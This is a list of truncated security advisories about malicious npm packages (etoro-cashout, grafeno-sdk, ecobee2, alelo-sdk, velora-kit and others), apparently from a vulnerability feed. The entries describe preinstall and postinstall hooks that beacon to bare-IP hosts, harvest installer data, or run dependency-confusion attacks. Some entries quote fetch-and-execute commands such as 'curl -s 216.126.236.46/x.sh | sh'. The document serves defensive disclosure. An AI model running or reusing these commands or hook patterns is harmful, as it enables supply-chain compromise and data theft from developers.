Malicious code in etoro-cashout (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c8aa14d0b9945053b63f4396f09365c5daefec60a25e931f165b3473e7c564f1 The package's preinstall.js lifecycle script runs on npm install and executes host reconnaissance commands whoami, ipconfig/ip addr, directory listin...

MAL-2026-16117 Malicious code in etoro-cashout (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c8aa14d0b9945053b63f4396f09365c5daefec60a25e931f165b3473e7c564f1 The package's preinstall.js lifecycle script runs on npm install and executes host reconnaissance commands whoami, ipconfig/ip addr, directory listin...

Malicious code in grafeno-sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 665dd78adc2d9c5f30bd8b140dc2dfc5bf9e61efb96ea9945018154d43102ad3 package.json declares a preinstall lifecycle script that runs node -e to invoke childprocess.execSync'curl -s 216.126.236.46/x.sh|sh',...

MAL-2026-15504 Malicious code in grafeno-config (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ebbea90af14e110b5dcef171163ea3029f6655ecf623595c251f44db674ce6af package.json declares a preinstall lifecycle hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare-IP host over plain...

MAL-2026-14475 Malicious code in ecobee-home (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9a02620d2c1be5db8251957a24b2dacf01b146b1ee009169a9d828cb1f2a7425 The package's declared postinstall script runs beacon.js, which issues an HTTP GET to a hardcoded bare-IP endpoint http://169.58.96.170:9001/cb...

Malicious code in ecobee2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 42ebdeda4d4d0b3db14833d23a2d75a55e7e3f6af902f0ba6f545a970c0f09ba package.json declares scripts.postinstall = 'node beacon.js', which runs automatically on npm install. beacon.js performs an HTTP GET to...

MAL-2026-14393 Malicious code in sm-admin (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fa2741ebbd0df8c6f349a4d34361cc3d814fe878f3f4521fd771a855cfdc152b Package [email protected] defines preinstall and postinstall lifecycle scripts that issue plain-HTTP GET requests to a hardcoded bare-IP endpoint at...

MAL-2026-14395 Malicious code in sm-billing-form (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 422b9f6c71b124deff27a41ef4b595c308595c14af77dbd3756de0e625f86fc2 package.json defines preinstall and postinstall lifecycle scripts that run curl -s http://16.192.173.5/sm-billing-form/pre and curl -s...

Malicious code in config-helper-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1033a9895c7d1a1b4d2c3f671caa239bd40f3985ab71d096fd25fbb7c977ef71 [email protected] exposes a default function getPlugin that issues an HTTPS request to a hardcoded bare-IP host...

MAL-2026-14119 Malicious code in bcc-design-icons (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8f25ef58a44d6da495f8f9cd06686303901d391069000f5a10d09694b68241e2 [email protected] declares a postinstall script node./notify.js that runs automatically on npm install. The script performs an HTTP GET to th...

Malicious code in bcc-design (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d36ad8d761b526fd22c960a4d7ffb2a11134996e031535e56865e91135b3be80 [email protected] is a dependency-confusion beacon package published at an implausibly high version to shadow an internal package name. On npm...

Malicious code in core-tailwindcss-utility (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 67bbda0dc4bcf5478f2edd6a243b1f289f2b0471f950b4362f21b5a6344cdd83 Package is advertised as a Tailwind CSS utility but ships no CSS utilities. index.js exports getPlugin which fetches JSON from the hardcoded bare-IP...

MAL-2026-14026 Malicious code in alelo-sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4e7ed1d4017e58a9911a0cfee5d1cf8122a2ac28779a36fdf3ef74484f048748 [email protected] ships lifecycle scripts that harvest installer data and POST it to a hardcoded bare-IP endpoint 209.99.185.109 with TLS certificate...

Malicious code in alelo-services (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2b31cdc535ad02d3d78533315ef2037d4860699d9c7a161ed96a176082824f07 [email protected] runs both preinstall and postinstall lifecycle scripts that harvest installer data and POST it to the hardcoded bare-IP endpoin...

MAL-2026-14022 Malicious code in alelo-client (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6898fc8ceef98678ef5e208de13006abf0684d219babdee50f6f90b732092f8b [email protected] is a dependency-confusion / impersonation package targeting an internal 'Alelo' namespace version 99.0.0, generic 'internal...

Malicious code in external-process-live-log (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e3b21f410276a5ec436e583a1b0c08aab7f5f977f3868fd742c7a05ab0197751 The package's default export issues an HTTPS request to the hardcoded bare-IP endpoint https://31.97.137.157:45000/icons/107 with a 'bearrtoken: logo...

Malicious code in @leonardo0902/vortex-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1707e031a6c470479ecbd0b01a480cc801a9d049a3732abc265ccad8791272a9 The main module in @leonardo0902/[email protected] issues an HTTPS request to a hardcoded bare-IP endpoint at 31.97.137.157:45000/icons/116 and passe...

Malicious code in vexium-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 81256cad9a270a808ce5e9cb2d6987aef06c2c236baa7ae76b8172c40ee61dd9 On require, index.js issues an HTTPS request to the hardcoded bare-IP endpoint https://31.97.137.157:45000/icons/116 and passes the response's credit...

Malicious code in velora-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a60310ccbaf263dc4333db7ecb716cbf5f5ae13a2cfc9d8b7416f82e4561d7bb [email protected] exports a getPlugin function that fetches content from a hardcoded bare-IP endpoint at https://31.97.137.157:45000/icons/116 and...

MAL-2026-13961 Malicious code in velora-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a60310ccbaf263dc4333db7ecb716cbf5f5ae13a2cfc9d8b7416f82e4561d7bb [email protected] exports a getPlugin function that fetches content from a hardcoded bare-IP endpoint at https://31.97.137.157:45000/icons/116 and...